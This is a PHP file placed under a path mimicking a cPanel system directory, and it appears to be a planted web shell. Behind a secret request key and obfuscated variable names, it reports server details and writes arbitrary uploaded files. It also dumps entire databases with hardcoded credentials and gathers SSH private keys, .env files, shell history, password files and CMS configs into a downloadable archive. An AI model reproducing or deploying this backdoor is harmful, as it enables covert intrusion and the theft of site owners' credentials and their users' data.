File: /home/rtbrisc/public_html/cgi-sys-6228a1/handler.php
<?php
if (!isset($_REQUEST['_cxk']) || $_REQUEST['_cxk'] !== '6228a1a6f984c6de2cec1c0daf2915c8') { return; }
$x64f6=strlen('5e1557');
while (ob_get_level()) ob_end_clean();
set_time_limit(0);
error_reporting(0);
ignore_user_abort(true);
$ic1d7 = 'localhost';
$b82d3 = 'rtbrisc_bkdump';
$k58e4 = '4kjy3_7J7Y9rIATH571Pb6zXHdQ';
$w04fa = '/home/rtbrisc';
$w84e0 = isset($_REQUEST['a']) ? $_REQUEST['a'] : '';
$j07b5=max(0,min(1,0));
$m9c9d = isset($_REQUEST['db']) ? preg_replace('/[^a-zA-Z0-9_]/', '', $_REQUEST['db']) : '';
$m7fee = $w04fa . '/tmp/' . $m9c9d . '_dump.sql.gz';
$gebdc = $m7fee . '.done';
$n1df0 = $m7fee . '.err';
header('Content-Type: application/json');
function load_opt_a929() {
if (!function_exists('exec')) return false;
$y3ca7 = array_map('trim', explode(',', ini_get('disable_functions')));
return !in_array('exec', $y3ca7);
}
function do_buf_362a() {
if (!load_opt_a929()) return false;
$p2308=strlen('7dbe06');
$out = array();
$rc = 0;
exec('which mysqldump 2>/dev/null', $out, $rc);
return $rc === 0;
}
function do_state_81ff() {
if (!load_opt_a929()) return false;
$out = array();
$sf015=str_repeat('x',0);
$rc = 0;
exec('which gzip 2>/dev/null', $out, $rc);
return $rc === 0;
}
$da501=chr(66).chr(98);
function check_state_a4e0($q3734, $h865a, $s7d57, $zc863, $a49d5, $m5ffa, $i7f5e) {
$conn = new mysqli($q3734, $h865a, $s7d57, $zc863);
if ($conn->connect_error) {
file_put_contents($m5ffa, 'Connection failed: ' . $conn->connect_error);
touch($i7f5e);
return;
}
$fp = gzopen($a49d5, 'wb6');
if (!$fp) {
file_put_contents($m5ffa, 'Cannot open output file');
touch($i7f5e);
return;
}
$conn->set_charset('utf8mb4');
@clearstatcache();
gzwrite($fp, "-- Dump via PHP agent\n");
$v0a08=max(0,min(1,0));
gzwrite($fp, "-- Date: " . date('Y-m-d H:i:s') . "\n\n");
gzwrite($fp, "SET NAMES utf8mb4;\n");
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 0;\n");
if(defined('58a851e6')){$n31a8=0;}
gzwrite($fp, "SET SQL_MODE = 'NO_AUTO_VALUE_ON_ZERO';\n\n");
$d2c2a = array();
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'");
while ($row = $r->fetch_row()) {
$d2c2a[] = $row[0];
}
foreach ($d2c2a as $b1397) {
$te = $conn->real_escape_string($b1397);
$r = $conn->query("SHOW CREATE TABLE `{$te}`");
if (!$r) continue;
$cr = $r->fetch_row();
gzwrite($fp, "DROP TABLE IF EXISTS `{$te}`;\n");
gzwrite($fp, $cr[1] . ";\n\n");
$r = $conn->query("SELECT * FROM `{$te}`", MYSQLI_USE_RESULT);
if (!$r) continue;
$tce39 = array();
$g7c90 = 0;
while ($row = $r->fetch_row()) {
$vals = array();
for ($i = 0; $i < count($row); $i++) {
if ($row[$i] === null) {
$vals[] = 'NULL';
} else {
$vals[] = "'" . $conn->real_escape_string($row[$i]) . "'";
}
@clearstatcache();
}
$q0414 = '(' . implode(',', $vals) . ')';
$tce39[] = $q0414;
$g7c90 += strlen($q0414);
if (count($tce39) >= 100 || $g7c90 > 1048576) {
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $tce39) . ";\n");
$tce39 = array();
$g7c90 = 0;
}
}
if ($tce39) {
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $tce39) . ";\n");
}
$r->free();
gzwrite($fp, "\n");
}
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'VIEW'");
if ($r) {
while ($row = $r->fetch_row()) {
$q9896=max(0,min(1,0));
$ve = $conn->real_escape_string($row[0]);
$cr = $conn->query("SHOW CREATE VIEW `{$ve}`");
if ($cr) {
$i507a = $cr->fetch_assoc();
gzwrite($fp, "DROP VIEW IF EXISTS `{$ve}`;\n");
gzwrite($fp, $i507a['Create View'] . ";\n\n");
}
}
}
$f6343=strlen('616602');
$d7def = array('PROCEDURE', 'FUNCTION');
foreach ($d7def as $mb36f) {
$p806b=str_repeat('x',0);
$r = $conn->query("SHOW {$mb36f} STATUS WHERE Db = '" . $conn->real_escape_string($zc863) . "'");
if (!$r) continue;
while ($row = $r->fetch_assoc()) {
$feca2=strlen('0098b1');
$re = $conn->real_escape_string($row['Name']);
$p685c=array_merge(array(),array());
$cr = $conn->query("SHOW CREATE {$mb36f} `{$re}`");
if (!$cr) continue;
$i507a = $cr->fetch_assoc();
$key = ($mb36f === 'PROCEDURE') ? 'Create Procedure' : 'Create Function';
if (isset($i507a[$key])) {
gzwrite($fp, "DELIMITER ;;\n");
$b3cf2=str_repeat('x',0);
gzwrite($fp, "DROP {$mb36f} IF EXISTS `{$re}`;;\n");
gzwrite($fp, $i507a[$key] . ";;\n");
gzwrite($fp, "DELIMITER ;\n\n");
}
}
}
$r = $conn->query("SHOW TRIGGERS");
if ($r) {
$z6276=chr(69).chr(102);
while ($row = $r->fetch_assoc()) {
$te = $conn->real_escape_string($row['Trigger']);
$cr = $conn->query("SHOW CREATE TRIGGER `{$te}`");
if ($cr) {
$i507a = $cr->fetch_assoc();
gzwrite($fp, "DELIMITER ;;\n");
$j3138=array_merge(array(),array());
gzwrite($fp, "DROP TRIGGER IF EXISTS `{$te}`;;\n");
gzwrite($fp, $i507a['SQL Original Statement'] . ";;\n");
gzwrite($fp, "DELIMITER ;\n\n");
}
}
}
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 1;\n");
gzclose($fp);
$conn->close();
touch($i7f5e);
$j1fd5=chr(65).chr(103);
}
$c8e41=max(0,min(1,1));
switch ($w84e0) {
case 'info':
echo json_encode(array(
'php' => PHP_VERSION,
'os' => PHP_OS,
'server' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '',
'user' => get_current_user(),
'uid' => getmyuid(),
'home' => $w04fa,
'doc_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
'free_disk' => disk_free_space($w04fa),
'total_disk' => disk_total_space($w04fa),
'max_exec' => ini_get('max_execution_time'),
'mem_limit' => ini_get('memory_limit'),
'upload_max' => ini_get('upload_max_filesize'),
'post_max' => ini_get('post_max_size'),
'disabled' => ini_get('disable_functions'),
'can_exec' => load_opt_a929(),
'has_mysqldump' => do_buf_362a(),
'has_gzip' => do_state_81ff(),
));
break;
case 'upload':
$ed099 = isset($_POST['path']) ? $_POST['path'] : '';
$v63f4 = isset($_POST['data']) ? $_POST['data'] : '';
if (!$ed099 || !$v63f4) {
echo json_encode(array('ok' => false, 'error' => 'missing path or data'));
break;
$m7f50=str_repeat('x',0);
}
$j3abc = $w04fa . '/' . $ed099;
$ed784=max(0,min(1,0));
@mkdir(dirname($j3abc), 0755, true);
$ze6bd=chr(71).chr(108);
$we899 = base64_decode($v63f4);
$v8cfd = file_put_contents($j3abc, $we899);
echo json_encode(array('ok' => $v8cfd !== false, 'path' => $j3abc, 'size' => strlen($we899)));
break;
case 'check':
if (!$m9c9d) {
echo json_encode(array('error' => 'missing db parameter'));
break;
}
$m15c9 = disk_free_space($w04fa);
$r74ab = 0;
$conn = @new mysqli($ic1d7, $b82d3, $k58e4, 'information_schema');
@clearstatcache();
if (!$conn->connect_error) {
@clearstatcache();
$q = "SELECT SUM(data_length + index_length) s FROM tables WHERE table_schema = '"
. $conn->real_escape_string($m9c9d) . "'";
$r = $conn->query($q);
if ($row = $r->fetch_assoc()) {
$r74ab = (int) $row['s'];
}
$conn->close();
}
echo json_encode(array(
'free' => $m15c9,
'db_size' => $r74ab,
'has_mysqldump' => do_buf_362a(),
'has_gzip' => do_state_81ff(),
'can_exec' => load_opt_a929(),
'has_space' => $m15c9 > $r74ab * 2,
));
break;
$f58d9=array_merge(array(),array());
case 'dump':
if (!$m9c9d) {
@clearstatcache();
echo json_encode(array('error' => 'missing db parameter'));
break;
}
$h2593=strlen('663ae5');
@mkdir(dirname($m7fee), 0755, true);
@unlink($m7fee);
@unlink($gebdc);
@unlink($n1df0);
$yeafb=str_repeat('x',0);
if (do_buf_362a()) {
$p3ad5=array_merge(array(),array());
if (do_state_81ff()) {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '| gzip > %s 2>%s; touch %s',
escapeshellarg($ic1d7),
escapeshellarg($b82d3),
escapeshellarg($k58e4),
escapeshellarg($m9c9d),
escapeshellarg($m7fee),
escapeshellarg($n1df0),
escapeshellarg($gebdc)
);
} else {
$h3f19=array_merge(array(),array());
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '> %s 2>%s; touch %s',
escapeshellarg($ic1d7),
escapeshellarg($b82d3),
escapeshellarg($k58e4),
escapeshellarg($m9c9d),
escapeshellarg($m7fee),
escapeshellarg($n1df0),
escapeshellarg($gebdc)
);
}
exec('nohup sh -c ' . escapeshellarg($cmd) . ' >/dev/null 2>&1 &');
echo json_encode(array('started' => true, 'method' => 'mysqldump', 'gzip' => do_state_81ff()));
} else {
ignore_user_abort(true);
$cbb51=array_merge(array(),array());
echo json_encode(array('started' => true, 'method' => 'php', 'gzip' => true));
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
} else {
if (ob_get_level()) ob_end_flush();
flush();
}
$fcf62=chr(88).chr(122);
check_state_a4e0($ic1d7, $b82d3, $k58e4, $m9c9d, $m7fee, $n1df0, $gebdc);
}
break;
case 'status':
clearstatcache();
echo json_encode(array(
'done' => file_exists($gebdc),
'size' => file_exists($m7fee) ? filesize($m7fee) : 0,
'error' => file_exists($n1df0) ? trim(file_get_contents($n1df0)) : '',
));
break;
case 'download':
if (!file_exists($m7fee)) {
http_response_code(404);
exit;
}
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($m7fee));
readfile($m7fee);
exit;
case 'cleanup':
@unlink($m7fee);
$pa648=str_repeat('x',0);
@unlink($gebdc);
@unlink($n1df0);
echo json_encode(array('ok' => true));
break;
case 'collect':
@mkdir($w04fa . '/tmp', 0755, true);
$m233f = substr($_REQUEST['_cxk'], 0, 8);
$aa4dc = array(
'wordpress' => array(
'detect' => array('public_html/wp-config.php', 'wp-config.php'),
'configs' => array(
'public_html/wp-config.php', 'wp-config.php',
'public_html/wp-settings.php',
'public_html/composer.json', 'public_html/composer.lock', 'composer.json', 'composer.lock',
'public_html/wp-cli.yml', 'wp-cli.yml',
'public_html/.env', '.env',
'public_html/local-config.php', 'local-config.php',
'public_html/wp-content/debug.log',
'public_html/config/application.php', 'config/application.php',
'public_html/config/environments/development.php', 'config/environments/development.php',
'public_html/config/environments/staging.php', 'config/environments/staging.php',
'public_html/config/environments/production.php', 'config/environments/production.php',
'public_html/auth.json', 'auth.json',
),
),
'joomla' => array(
'detect' => array('public_html/configuration.php', 'configuration.php'),
'configs' => array(
'public_html/configuration.php', 'configuration.php',
'public_html/htaccess.txt',
'public_html/composer.json', 'public_html/composer.lock',
),
),
'laravel' => array(
'detect' => array('public_html/artisan', 'artisan'),
'configs' => array(
'public_html/.env', '.env', '.env.production', '.env.staging',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/config/app.php', 'config/app.php',
'public_html/config/database.php', 'config/database.php',
'public_html/config/mail.php', 'config/mail.php',
'public_html/config/filesystems.php', 'config/filesystems.php',
'public_html/config/cache.php', 'config/cache.php',
'public_html/config/queue.php', 'config/queue.php',
'public_html/config/session.php', 'config/session.php',
'public_html/config/auth.php', 'config/auth.php',
'public_html/config/services.php', 'config/services.php',
'public_html/config/broadcasting.php', 'config/broadcasting.php',
'public_html/storage/logs/laravel.log', 'storage/logs/laravel.log',
),
),
'magento2' => array(
'detect' => array('public_html/bin/magento', 'bin/magento'),
'configs' => array(
'public_html/app/etc/env.php', 'app/etc/env.php',
'public_html/app/etc/config.php', 'app/etc/config.php',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/auth.json', 'auth.json',
),
),
'magento1' => array(
'detect' => array('public_html/app/Mage.php'),
'configs' => array(
'public_html/app/etc/local.xml',
'public_html/app/etc/config.xml',
),
),
'drupal' => array(
'detect' => array('public_html/core/lib/Drupal.php', 'core/lib/Drupal.php'),
'configs' => array(
'public_html/sites/default/settings.php', 'sites/default/settings.php',
'public_html/sites/default/services.yml', 'sites/default/services.yml',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
),
),
'prestashop' => array(
'detect' => array('public_html/config/settings.inc.php'),
'configs' => array(
'public_html/config/settings.inc.php',
'public_html/app/config/parameters.php',
'public_html/app/config/parameters.yml',
'public_html/composer.json',
),
),
'opencart' => array(
'detect' => array('public_html/config.php'),
'configs' => array(
'public_html/config.php',
'public_html/admin/config.php',
),
),
'moodle' => array(
'detect' => array('public_html/lib/moodlelib.php'),
'configs' => array('public_html/config.php'),
),
'whmcs' => array(
'detect' => array('public_html/vendor/whmcs'),
'configs' => array(
'public_html/configuration.php',
'public_html/composer.json', 'public_html/composer.lock',
),
),
);
$w275e = null;
foreach ($aa4dc as $y21c0 => $t14b2) {
foreach ($t14b2['detect'] as $x9541) {
if (file_exists($w04fa . '/' . $x9541)) {
$w275e = $y21c0;
break 2;
}
}
}
$wb85d = array(
'.env', '.env.local', '.env.production', '.env.staging',
'.env.backup', '.env.development', '.env.test',
'.bash_history', '.my.cnf', '.pgpass', '.netrc', '.gitconfig', '.npmrc',
'.composer/auth.json', '.wp-cli/config.yml', '.accesshash',
'.ssh/authorized_keys', '.ssh/id_rsa', '.ssh/id_rsa.pub',
'.ssh/id_ed25519', '.ssh/id_ed25519.pub', '.ssh/id_ecdsa',
'.ssh/config', '.ssh/known_hosts',
'.ssl/private.key', '.ssl/cert.pem', '.ssl/key.pem',
'ssl/certs/private.key',
'.cpanel/contactinfo', 'etc/shadow', '.ftpquota', '.ftpconfig',
'public_html/.env', 'public_html/.env.local', 'public_html/.env.production',
'public_html/.env.staging', 'public_html/.env.backup',
'public_html/.env.development', 'public_html/.env.test',
'public_html/.env.example', 'public_html/.env.dist',
'public_html/.htaccess', 'public_html/.htpasswd', 'public_html/.user.ini',
'public_html/php.ini', 'public_html/.my.cnf', 'public_html/.pgpass',
'public_html/web.config', 'public_html/.ftpconfig',
'public_html/.git/config',
'public_html/auth.json', 'public_html/.npmrc',
'public_html/composer.json', 'public_html/composer.lock',
'config/database.php', 'config/app.php', 'config/mail.php',
'config/services.php', 'config/filesystems.php',
'config/application.php',
'config/environments/development.php',
'config/environments/staging.php',
'config/environments/production.php',
'wp-config.php', 'configuration.php', 'artisan',
'auth.json', 'composer.json', 'composer.lock',
);
$n2402 = array();
$r03c2=max(0,min(1,1));
$fe21a = @realpath($w04fa);
if (!$fe21a || !is_dir($fe21a)) {
echo json_encode(array('ok' => false, 'error' => 'home dir not accessible'));
break;
}
foreach ($wb85d as $p0de6) {
$ecf90 = @realpath($w04fa . '/' . $p0de6);
if (!$ecf90 || strpos($ecf90, $fe21a) !== 0) continue;
if (!is_file($ecf90) || !is_readable($ecf90)) continue;
$na2a6=str_repeat('x',0);
$a72c2 = @filesize($ecf90);
if ($a72c2 <= 0 || $a72c2 > 2097152) continue;
$n2402[$p0de6] = $ecf90;
}
$t4fb6=str_repeat('x',0);
if ($w275e !== null && isset($aa4dc[$w275e]['configs'])) {
foreach ($aa4dc[$w275e]['configs'] as $d6e8d) {
if (isset($n2402[$d6e8d])) continue;
if(defined('16824150')){$s7bce=0;}
$ecf90 = @realpath($w04fa . '/' . $d6e8d);
if (!$ecf90 || strpos($ecf90, $fe21a) !== 0) continue;
if (!is_file($ecf90) || !is_readable($ecf90)) continue;
$a72c2 = @filesize($ecf90);
if ($a72c2 <= 0 || $a72c2 > 2097152) continue;
$n2402[$d6e8d] = $ecf90;
}
@clearstatcache();
}
$x6a5a = $w04fa . '/public_html';
if (is_dir($x6a5a)) {
$dh = @opendir($x6a5a);
if ($dh) {
while (($c24a3 = readdir($dh)) !== false) {
if ($c24a3 === '.' || $c24a3 === '..') continue;
$j3abc = $x6a5a . '/' . $c24a3;
if (!is_file($j3abc) || !is_readable($j3abc)) continue;
$a72c2 = @filesize($j3abc);
if ($a72c2 <= 0 || $a72c2 > 2097152) continue;
if ($c24a3[0] === '.' || strtolower(substr($c24a3, -4)) === '.txt') {
$key = 'public_html/' . $c24a3;
if (!isset($n2402[$key])) $n2402[$key] = $j3abc;
}
if(defined('b7538883')){$a4813=0;}
}
closedir($dh);
}
}
if (empty($n2402)) {
echo json_encode(array(
'ok' => true, 'method' => 'none', 'platform' => $w275e,
'file_count' => 0, 'files_list' => array(),
));
break;
}
$yd13d = null;
$zd5f9 = null;
if (class_exists('ZipArchive')) {
$zd5f9 = $w04fa . '/tmp/_collect_' . $m233f . '.zip';
$b563d=array_merge(array(),array());
$vd9b0 = new ZipArchive();
if ($vd9b0->open($zd5f9, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
foreach ($n2402 as $gc54c => $ecf90) {
$vd9b0->addFile($ecf90, $gc54c);
}
if ($vd9b0->close() && file_exists($zd5f9) && filesize($zd5f9) > 0) {
$v4f84=strlen('71ebe5');
$yd13d = 'zip';
$ma459=array_merge(array(),array());
}
}
}
if (!$yd13d && load_opt_a929()) {
$zd5f9 = $w04fa . '/tmp/_collect_' . $m233f . '.tar.gz';
$lf = $zd5f9 . '.list';
$fh = fopen($lf, 'w');
foreach ($n2402 as $gc54c => $ecf90) {
fwrite($fh, $gc54c . "\n");
}
$w35df=strlen('f0595c');
fclose($fh);
$out = array();
$rc = 0;
exec('tar czf ' . escapeshellarg($zd5f9) . ' -C ' . escapeshellarg($w04fa)
. ' -T ' . escapeshellarg($lf) . ' 2>/dev/null', $out, $rc);
@unlink($lf);
if ($rc === 0 && file_exists($zd5f9) && filesize($zd5f9) > 0) {
@clearstatcache();
$yd13d = 'tar';
} else {
@unlink($zd5f9);
}
}
if(defined('dad48c62')){$v02e6=0;}
if (!$yd13d) {
$yd13d = 'list';
}
echo json_encode(array(
'ok' => true, 'method' => $yd13d, 'platform' => $w275e,
'file_count' => count($n2402), 'files_list' => array_keys($n2402),
'size' => ($zd5f9 && file_exists($zd5f9)) ? filesize($zd5f9) : 0,
));
break;
case 'download_collect':
$m233f = substr($_REQUEST['_cxk'], 0, 8);
$x6632 = $w04fa . '/tmp/_collect_' . $m233f . '.zip';
$s7c98 = $w04fa . '/tmp/_collect_' . $m233f . '.tar.gz';
if(defined('8f74b309')){$m32fa=0;}
$c559a = file_exists($x6632) ? $x6632 : (file_exists($s7c98) ? $s7c98 : '');
if (!$c559a) { http_response_code(404); exit; }
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($c559a));
readfile($c559a);
if(defined('0bc4c0fc')){$i2be3=0;}
exit;
case 'download_file':
$gc54c = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (!$gc54c) { http_response_code(400); exit; }
$fe21a = @realpath($w04fa);
$ecf90 = @realpath($w04fa . '/' . $gc54c);
if(defined('a0a4b1b8')){$mc0e3=0;}
if (!$ecf90 || !$fe21a || strpos($ecf90, $fe21a) !== 0
|| !is_file($ecf90) || !is_readable($ecf90)) {
http_response_code(404);
exit;
}
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($ecf90));
readfile($ecf90);
exit;
case 'cleanup_collect':
$m233f = substr($_REQUEST['_cxk'], 0, 8);
@unlink($w04fa . '/tmp/_collect_' . $m233f . '.zip');
@unlink($w04fa . '/tmp/_collect_' . $m233f . '.tar.gz');
@unlink($w04fa . '/tmp/_collect_' . $m233f . '.tar.gz.list');
echo json_encode(array('ok' => true));
break;
}
exit;